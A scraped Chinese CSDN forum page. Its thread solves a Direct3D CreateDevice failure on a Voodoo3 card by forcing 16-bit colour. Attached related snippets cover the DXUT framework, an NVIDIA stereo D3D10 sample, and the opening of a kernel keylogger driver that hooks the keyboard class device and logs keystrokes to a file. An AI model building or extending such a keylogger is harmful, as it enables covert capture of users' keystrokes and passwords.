郁闷!为什么一执行d3d的CreateDevice就失败?

codeclub 2003-09-15 01:36:41
就是d3d给的那几个Tutorials我基本上都不能运行?
编译都是没有错误的!可就是一运行就是什么都没有!
(也许窗口闪了一下就消失了,太快了!)
我跟踪了一下第一个 Tut01_CreateDevice 程序!
发现运行到CreateDevice好像失败退出了:
if( FAILED( g_pD3D->CreateDevice( D3DADAPTER_DEFAULT,
D3DDEVTYPE_HAL,
hWnd,
D3DCREATE_SOFTWARE_VERTEXPROCESSING,
&d3dpp,
&g_pd3dDevice ) ) )
{
return E_FAIL; //程序跳到了这里?
}
为什么会CreateDevice失败?如果说我的显卡(Voodoo3000)不支持HAL的话,可我玩反恐什么的
选为d3d硬件加速都是没问题的,运行 d3d自带的那些什么Meshes 例子也是可以看到那个贴图的
老虎和走动小人的,我也试了一下模式D3DDEVTYPE_REF 和 D3DDEVTYPE_SW 也都是失败的!
为什么会这样?他们那些例子是怎么创建d3d的,我刚看d3d一天,实在看不懂Meshes那些大量的
代码,看这几个Tutorials还勉强可以看懂,结果一个也出不来结果,郁闷!那位大虾指点一下迷津?

...全文
1408 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
codeclub 2003-09-17
  • 打赏
  • 举报
回复
hehe,终于解决了!原来是voodoo不支持32色深d3d的问题!
程序默认取桌面分辨率和色深,我桌面是32色深(2d还
是支持的),照成创建失败!

将d3dpp强行设为16D就搞定了!(或者将当前桌面色深设为16D也可)
brainf 2003-09-16
  • 打赏
  • 举报
回复
试试把d3dpp置为全屏模式!
d3dpp.BackBufferWidth=800;
d3dpp.BackBufferHeight=600;
d3dpp.Windowed = false;
voodoo的窗口模式好像有问题!
brainf 2003-09-16
  • 打赏
  • 举报
回复
t
codeclub 2003-09-15
  • 打赏
  • 举报
回复
up
DXUT框架剖析 DXUT框架剖析(14) 摘要: 控件是用户接口的重要组成部分,为了便于用户操作,为程序界面添加各种控件是非常好的方法。DXUT框架为在Direct3D程序中添加各种控件提供了支持。为了便于加载控件和处理各控件的消息,通常先在窗口中加载对话框,然后在对话框中添加响应的控件,由对话框来管理控件。为了统一管理各个对话框,还需要定义对话框资源管理器类CDXUTDialogResourceManager的一个对象,在程序开始时,调用各个对话框的Init函数和对话框资源管理对象进行初始化 DXUT框架剖析(13) 摘要: DXUT框架对文本绘制进行了封装,提供了类CDXUTHelper来简化文本显示,使用该接口大体分为3个步骤:初始化ID3DXSprite和ID3DXFont对象,显示文本,释放ID3DXSprite和ID3DXFont对象。 DXUT框架剖析(12) 摘要: DXUT暂停函数: DXUTPause:将框架的内部计数器和(或)渲染过程设为暂停状态。 DXUTRenderingPaused:检查当前设备的渲染状态是否处在暂停状态。 DXUTIsTimePaused:检查当前设备的计时器是否处在暂停状态。 DXUT框架剖析(11) 摘要: DXUT统计函数: DXUTGetFPS: 获取当前每秒提交的帧数。 DXUTGetFrameStats:获取一个指向字符串的指针,该字符串包括每秒帧数、分辨率、后台缓冲区格式、深度缓冲区格式。 DXUTGetDeviceStats:获取一个指向字符串的指针,该字符串包括当前设备类型、顶点运算行为和设备名。 DXUT框架剖析(10) 摘要: 管理DXUT框架的函数: DXUTResetFrameworkState: 将框架状态重置为初始默认状态,之前设置的框架状态改变将失效。 DXUTShutdown: 触发程序终止和清空框架。 DXUTGetExitCode: 获取框架的退出代码。 DXUT框架剖析(9) 摘要: 下面列出允许改变DXUT行为和获取内部变量的函数,这些函数在使用DXUT框架的Direct3D程序中是非常实用的。 DXUT框架剖析(8) 摘要: Direct3D API的设计使程序能比较容易地处理各种错误,尽管大多数Direct3D API函数返回HTRSULT值,但只有一部分函数返回设备错误,如D3DERR_DEVICELOST或 D3DERR_DRIVERINTERNALERROR。但是通常的Direct3D应用程序使用多种API函数,当传递的参数不合要求时,将返回 D3DERR_INVALIDCALL。 当开发Direct3D应用程序时,应该检查所有的API调用是否成功,如果出现一个没有预测到的失败调用,应用程序应立即给出通知或记录该错误。使用这种方法,开发人员能很快发现哪些API函数的调用是不正确的。一个正确调用Direct3D API函数的应用程序应能安全地忽略大多数Direct3D API函数的失败调用,除了一些关键性的API函数,如Present()或TestCooperativeLevel(),这些函数返回的错误应用程序不能忽略。 DXUT框架剖析(7) 摘要: 框架也提供了帧事件,它在渲染过程中的每一帧被调用,应用程序应该注册并实现这些回调函数。 DXUT框架剖析(6) 摘要: 在窗口和设备创建好之后,应用程序需要使用消息循环处理窗口消息、更新和渲染场景、处理设备事件。应用程序可以实现自己的消息循环,也可以使用DXUT消息循环,注册相应的回调函数,可以让DXUT处理设备、帧消息事件。 为使用DXUT框架的消息循环,可以调用DXUTMainLoop()函数. DXUT框架剖析(5) 摘要: 应用程序可以通过DXUTSetCallbackDeviceChanging()设置回调函数来修改Direct3D设备的创建设置。 回调函数ModifyDeviceSettings()返回一个布尔值,如果应用程序返回 TRUE,DXUT框架继续像在正常情况下那样进行设备创建。如果返回FALSE,框架不能改变设备,如果已有一个设备,则继续使用当前设备。如果框架提出的请求是改变到一个应用程序不能使用的设备,应用程序可以拒绝该请求。例如,在一个多显示器配置中,默认情况下在显示器之间拖动窗口将使框架改变设备。但如果应用程序不能使用其他设备,它就必须拒绝这种改变并继续使用当前设备。 DXUT框架剖析(4) 摘要: 通常可以用标准的Direct3D方法Creat
时分法,真正的三维编程,场景渲染 #pragma warning(disable: 4995) #include #include #include // Scenes 场景 #include "Scene.h" #include "StanfordBunnyScene.h" // Include nvstereo, but only for Dx10. #define NO_STEREO_D3D9 #include "nvstereo.h" // Text rendering ID3DX10Font* gFont10 = NULL; ID3DX10Sprite* gSprite10 = NULL; CDXUTTextHelper* gTxtHelper = NULL; // our global vector of all our scenes. // Make this global because it's easier to work with DXUT this way const int cNoActiveScene = -1; std::vector gScenes; int gActiveScene = cNoActiveScene; // A little UI stuff GUI图形用户界面 //CDXUTDialog这个类负责纪录一个对话框的所有属性以及它上面的所有控件信息 //CDXUTDialogResourceManager,这个类保存了所有注册过的对话框链表,以及这些对话框共享的资源 //CDXUTElement 这个类保存了需要渲染的元素信息,经常会在渲染函数中用到 //CGrowableArray< TYPE >类 可动态增长的链表类。 CDXUTDialogResourceManager gDialogResourceManager; CDXUTDialog gUI; // Our parameters for the stereo parameters texture.纹理立体参数 nv::stereo::ParamTextureManagerD3D10* gStereoTexMgr = NULL; ID3D10Texture2D* gStereoParamTexture = NULL; ID3D10ShaderResourceView* gStereoParamTextureRV = NULL; // Support going back and forth between fullscreen and windowed mode #define IDC_TOGGLEFULLSCREEN 1 #define IDC_MENU 2 // ------------------------------------------------------------------------------------------------ void ClearRenderTargets(ID3D10Device* d3d10) { // Clearing every frame is a good practice for SLI. By clearing surfaces, you indicate to the // driver that information from the previous frame is not needed by the other GPU(s) involved // in rendering. float ClearColor[4] = { 0.0, 0.0, 0.5, 0.0 }; ID3D10RenderTargetView* pRTV = DXUTGetD3D10RenderTargetView(); d3d10->ClearRenderTargetView(pRTV, ClearColor); ID3D10DepthStencilView* pDSV = DXUTGetD3D10DepthStencilView(); d3d10->ClearDepthStencilView(pDSV, D3D10_CLEAR_DEPTH, 1.0, 0); } // ------------------------------------------------------------------------------------------------ void RenderWorld(ID3D10Device* d3d10, double fTime, float fElapsedTime) { // Give the active scene a shot at rendering the world. gScenes[gActiveScene]->Render(d3d10); } // ------------------------------------------------------------------------------------------------ void RenderText() { // Render common text, then give the active scene a chance to display text information // about itself. gTxtHelper->Begin(); gTxtHelper->SetInsertionPos(8, 8); gTxtHelper->SetForegroundColor(D3DXCOLOR(1.0f, 1.0f, 0.0f, 1.0f)); gTxtHelper->DrawTextLine(L""); gTxtHelper->DrawTextLine(L""); gTxtHelper->DrawTextLine(L""); gTxtHelper->DrawTextLine(DXUTGetFrameStats(true)); gTxtHelper->DrawTextLine(DXUTGetDeviceStats()); bool stereoActive = gStereoTexMgr->IsStereoActive(); if (stereoActive) { gTxtHelper->DrawTextLine(L"Stereo Active"); } else { gTxtHelper->SetForegroundColor(D3DXCOLOR(1.0f, 0.2f, 0.2f, 1.0f)); gTxtHelper->DrawTextLine(L"Stereo is currently disabled--you should see no differences between techniques."); gTxtHelper->SetForegroundColor(D3DXCOLOR(1.0f, 0.5f, 0.0f, 1.0f)); } gScenes[gActiveScene]->RenderText(gTxtHelper, stereoActive); gTxtHelper->End(); } // ------------------------------------------------------------------------------------------------ void RenderCursor(ID3D10Device* d3d10) { // Cursor rendering is handled by the active scene. // Cursors need a bit of stereo love, so the scenes handle that. gScenes[gActiveScene]->RenderCursor(d3d10); } // ------------------------------------------------------------------------------------------------ void RenderHUD(ID3D10Device* d3d10, double fTime, float fElapsedTime) { RenderText(); gUI.OnRender( fElapsedTime ); // Render the cursor last for the obvious reason that we want it to appear above everything // else RenderCursor(d3d10); } // ------------------------------------------------------------------------------------------------ HRESULT CreateStereoParamTextureAndView(ID3D10Device* d3d10) { // This function creates a texture that is suitable to be stereoized by the driver. // Note that the parameters primarily come from nvstereo.h using nv::stereo::ParamTextureManagerD3D10; HRESULT hr = D3D_OK; D3D10_TEXTURE2D_DESC desc; desc.Width = ParamTextureManagerD3D10::Parms::StereoTexWidth; desc.Height = ParamTextureManagerD3D10::Parms::StereoTexHeight; desc.MipLevels = 1; desc.ArraySize = 1; desc.Format = ParamTextureManagerD3D10::Parms::StereoTexFormat; desc.SampleDesc.Count = 1; desc.SampleDesc.Quality = 0; desc.Usage = D3D10_USAGE_DYNAMIC; desc.BindFlags = D3D10_BIND_SHADER_RESOURCE; desc.CPUAccessFlags = D3D10_CPU_ACCESS_WRITE; desc.MiscFlags = 0; V_RETURN(d3d10->CreateTexture2D(&desc;, NULL, &gStereoParamTexture;)); // Since we need to bind the texture to a shader input, we also need a resource view. D3D10_SHADER_RESOURCE_VIEW_DESC descRV; descRV.Format = desc.Format; descRV.ViewDimension = D3D10_SRV_DIMENSION_TEXTURE2D; descRV.Texture2D.MipLevels = 1; descRV.Texture2D.MostDetailedMip = 0; descRV.Texture2DArray.MostDetailedMip = 0; descRV.Texture2DArray.MipLevels = 1; descRV.Texture2DArray.FirstArraySlice = 0; descRV.Texture2DArray.ArraySize = desc.ArraySize; V_RETURN(d3d10->CreateShaderResourceView(gStereoParamTexture, &descRV;, &gStereoParamTextureRV;)); return hr; } // ------------------------------------------------------------------------------------------------ bool CALLBACK IsD3D10DeviceAcceptable(UINT Adapter, UINT Output, D3D10_DRIVER_TYPE DeviceType, DXGI_FORMAT BackBufferFormat, bool bWindowed, void* pUserContext) { // Only accept hardware devices return DeviceType == D3D10_DRIVER_TYPE_HARDWARE; } // ------------------------------------------------------------------------------------------------ HRESULT CALLBACK OnD3D10CreateDevice(ID3D10Device* d3d10, const DXGI_SURFACE_DESC* pBackBufferSurfaceDesc, void* pUserContext) { HRESULT hr = D3D_OK; V_RETURN(gDialogResourceManager.OnD3D10CreateDevice(d3d10)); V_RETURN(D3DX10CreateFont(d3d10, 15, 0, FW_BOLD, 1, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Verdana", &gFont10;)); V_RETURN(D3DX10CreateSprite(d3d10, 512, &gSprite10;)); gTxtHelper = new CDXUTTextHelper(NULL, NULL, gFont10, gSprite10, 15); // Create our stereo parameter texture V_RETURN(CreateStereoParamTextureAndView(d3d10)); // Initialize the stereo texture manager. Note that the StereoTextureManager was created // before the device. This is important, because NvAPI_Stereo_CreateConfigurationProfileRegistryKey // must be called BEFORE device creation. gStereoTexMgr->Init(d3d10); // Give each of our scenes a chance to load their resources. for (std::vector::iterator it = gScenes.begin(); it != gScenes.end(); ++it) { (*it)->SetStereoParamRV(gStereoParamTextureRV); V_RETURN((*it)->LoadResources(d3d10)); } return hr; } // ------------------------------------------------------------------------------------------------ void CALLBACK OnD3D10DestroyDevice(void* pUserContext) { // Clean everything up. gDialogResourceManager.OnD3D10DestroyDevice(); for (std::vector::iterator it = gScenes.begin(); it != gScenes.end(); ++it) { (*it)->UnloadResources(); } SAFE_RELEASE(gStereoParamTextureRV); SAFE_RELEASE(gStereoParamTexture); SAFE_DELETE(gStereoTexMgr); SAFE_RELEASE(gFont10); SAFE_RELEASE(gSprite10); SAFE_DELETE(gTxtHelper); } // ------------------------------------------------------------------------------------------------ HRESULT CALLBACK OnD3D10ResizedSwapChain(ID3D10Device* d3d10, IDXGISwapChain *pSwapChain, const DXGI_SURFACE_DESC* pBackBufferSurfaceDesc, void* pUserContext) { HRESULT hr = D3D_OK; V_RETURN(gDialogResourceManager.OnD3D10ResizedSwapChain(d3d10, pBackBufferSurfaceDesc)); // All scenes need a chance to handle the resize. for (std::vector::iterator it = gScenes.begin(); it != gScenes.end(); ++it) { (*it)->OnD3D10ResizedSwapChain(d3d10, pSwapChain, pBackBufferSurfaceDesc); } gUI.SetLocation( pBackBufferSurfaceDesc->Width - 170, 0 ); gUI.SetSize( 170, 170 ); return hr; } // ------------------------------------------------------------------------------------------------ void CALLBACK Render(ID3D10Device* d3d10, double fTime, float fElapsedTime, void* pUserContext) { // First, we update our stereo texture gStereoTexMgr->UpdateStereoTexture(d3d10, gStereoParamTexture, false); // Then, we tell the scene what the current convergence depth is. Cursor rendering // uses this information to cause the cursor to draw at screen depth if the cursor // isn't currently over an object in the scene. gScenes[gActiveScene]->SetConvergenceDepth(gStereoTexMgr->GetConvergenceDepth()); // Then, clear our render targets, render the world and finish with the hud. ClearRenderTargets(d3d10); RenderWorld(d3d10, fTime, fElapsedTime); RenderHUD(d3d10, fTime, fElapsedTime); } // ------------------------------------------------------------------------------------------------ void CALLBACK OnD3D10ReleasingSwapChain(void* pUserContext) { gDialogResourceManager.OnD3D10ReleasingSwapChain(); } // ------------------------------------------------------------------------------------------------ bool CALLBACK ModifyDeviceSettings(DXUTDeviceSettings* pDeviceSettings, void* pUserContext) { if (pDeviceSettings->ver == DXUT_D3D10_DEVICE) { #if _DEBUG // Set debug if debugging. In debug, run aliased mode because // otherwise DXUT deletes a target while bound, causing many, many // spew messages. pDeviceSettings->d3d10.CreateFlags |= D3D10_CREATE_DEVICE_DEBUG; pDeviceSettings->d3d10.sd.SampleDesc.Count = 1; #else // I like AA, so turn it on here. pDeviceSettings->d3d10.sd.SampleDesc.Count = 4; #endif pDeviceSettings->d3d10.sd.SampleDesc.Quality = 0; } return true; } // ------------------------------------------------------------------------------------------------ LRESULT CALLBACK MsgProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam, bool* pbNoFurtherProcessing, void* pUserContext) { // WM_MOUSEMOVE needs to make it to the active scene to draw the cursor in the right place. *pbNoFurtherProcessing = gDialogResourceManager.MsgProc(hWnd, uMsg, wParam, lParam); if( *pbNoFurtherProcessing && uMsg != WM_MOUSEMOVE) return 0; // Again, make sure that WM_MOUSEMOVE makes it to the active scene, otherwise the mouse will // freeze when it's over our GUI elements, making it significantly less useful. *pbNoFurtherProcessing = gUI.MsgProc(hWnd, uMsg, wParam, lParam); if( *pbNoFurtherProcessing && uMsg != WM_MOUSEMOVE) return 0; // Pass all remaining windows messages to camera so it can respond to user input if (gActiveScene != cNoActiveScene) { return gScenes[gActiveScene]->HandleMessages(hWnd, uMsg, wParam, lParam); } return 0; } // ------------------------------------------------------------------------------------------------ void CALLBACK Update(double fTime, float fElapsedTime, void* pUserContext) { // Only the active scene gets the update gScenes[gActiveScene]->Update(fTime, fElapsedTime); } // ------------------------------------------------------------------------------------------------ void CALLBACK OnGUIEvent(UINT nEvent, int nControlID, CDXUTControl* pControl, void* pUserContext) { switch( nControlID ) { case IDC_TOGGLEFULLSCREEN: DXUTToggleFullScreen(); break; case IDC_MENU: default: // All other messages need to be given to all scenes, in case they need to handle // them. for (std::vector::iterator it = gScenes.begin(); it != gScenes.end(); ++it) { (*it)->OnGUIEvent(nEvent, nControlID, pControl, pUserContext); } } } // ------------------------------------------------------------------------------------------------ void InitUI() //UI User Interface 用户界面 { gUI.Init(&gDialogResourceManager;); int y = 10; gUI.SetCallback(OnGUIEvent); gUI.AddButton( IDC_TOGGLEFULLSCREEN, L"Toggle full screen", 35, y, 125, 22 ); gUI.AddButton(IDC_MENU,L"Menu",-1024,y,125,22); y += 24; int startId = IDC_TOGGLEFULLSCREEN + 1; for (std::vector::iterator it = gScenes.begin(); it != gScenes.end(); ++it) { (*it)->InitUI(gUI, 35, y, startId); } } // ------------------------------------------------------------------------------------------------ // ------------------------------------------------------------------------------------------------ // ------------------------------------------------------------------------------------------------ INT WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, INT) { HRESULT hr; V_RETURN(DXUTSetMediaSearchPath(L"..\\Source\\StereoIssues")); // Set Direct3D 10 callbacks. This sample won't work with Dx9, so don't bother setting any of // those. 设置 Direct3D 10回调信号 DXUTSetCallbackD3D10DeviceAcceptable(IsD3D10DeviceAcceptable); DXUTSetCallbackD3D10DeviceCreated(OnD3D10CreateDevice); DXUTSetCallbackD3D10SwapChainResized(OnD3D10ResizedSwapChain); DXUTSetCallbackD3D10FrameRender(Render); DXUTSetCallbackD3D10SwapChainReleasing(OnD3D10ReleasingSwapChain); DXUTSetCallbackD3D10DeviceDestroyed(OnD3D10DestroyDevice); // Set the generic callback functions 设置通用的回调函数 DXUTSetCallbackDeviceChanging(ModifyDeviceSettings); DXUTSetCallbackMsgProc(MsgProc); DXUTSetCallbackFrameMove(Update); // We'll deal with our own cursor in fullscreen mode. DXUTSetCursorSettings(false, false); // Needs to be called before any other NVAPI functions, so before device creation is fine. NvAPI_Initialize(); // ParamTextureManager must be created before the device to give our settings-loading code a chance to fire. gStereoTexMgr = new nv::stereo::ParamTextureManagerD3D10; gScenes.push_back(new StanfordBunnyScene); gActiveScene = 0; InitUI(); // UI用户界面 // Initialize DXUT and create the desired Win32 window and Direct3D device for the application DXUTInit(true, true); // Stereo is a Vista/Win7 feature for Dx9 and Dx10. One of the restrictions is that it only works // in fullscreen mode, but it's useful to debug and place breakpoints in windowed mode. // In any event, there is a button in the sample to toggle to fullscreen if needed, this only // controls the starting state of the app. bool windowed = false; #ifdef _DEBUG windowed = true; #endif DXUTCreateWindow(L"Stereo Issues"); DXUTCreateDevice(windowed); // Start the render loop 开始DXUT主要渲染循环 DXUTMainLoop(); int retval = DXUTGetExitCode(); // Clean everything up DXUTShutdown(retval); // We no longer have an active scene. gActiveScene = cNoActiveScene; // No memory leaks! for (std::vector::iterator it = gScenes.begin(); it != gScenes.end(); ++it) { SAFE_DELETE(*it); } return retval; }
C语言写的ROOT记录器,编译通过了.#include "stdafx.h" #include "ScanCode.h" #include "DriverEntry.h" #include const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName"; const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName"; const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0"; const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt"; int numPendingIrps = 0; /*---------------------------------------------------------------------------------------------------------------------------------------------*/ /************************************************************************ * 函数名称:DriverEntry * 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象 * 参数列表: pDriverObject:从I/O管理器中传进来的驱动对象 pRegistryPath:驱动程序在注册表的中的路径 * 返回 值:返回初始化驱动状态 *************************************************************************/ STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath ) { NTSTATUS retValue = STATUS_SUCCESS; TRACEMSG("初始化例程..."); pDriverObject->DriverUnload = OnUnload; for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){ pDriverObject->MajorFunction[i] = DispatchHandler; } pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; TRACEMSG("初始化例程...完成"); //创建设备。 TRACEMSG("创建设备..."); PDEVICE_OBJECT pKeyboardDevice = NULL; if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice))) { TRACEMSG("创建设备...失败"); return retValue; } TRACEMSG("创建设备...完成。键盘设备对象指针为:0x%x", pKeyboardDevice); //挂接设备。 TRACEMSG("挂接设备..."); if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice))) { TRACEMSG("挂接设备...失败"); return retValue; } TRACEMSG("挂接设备...完成"); TRACEMSG("初始化线程..."); if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject))) { TRACEMSG("初始化线程...失败"); return retValue; } TRACEMSG("初始化线程...完成");

2,543

社区成员

发帖
与我相关
我的任务
社区描述
专题开发/技术/项目 多媒体/流媒体开发
社区管理员
  • 多媒体/流媒体开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧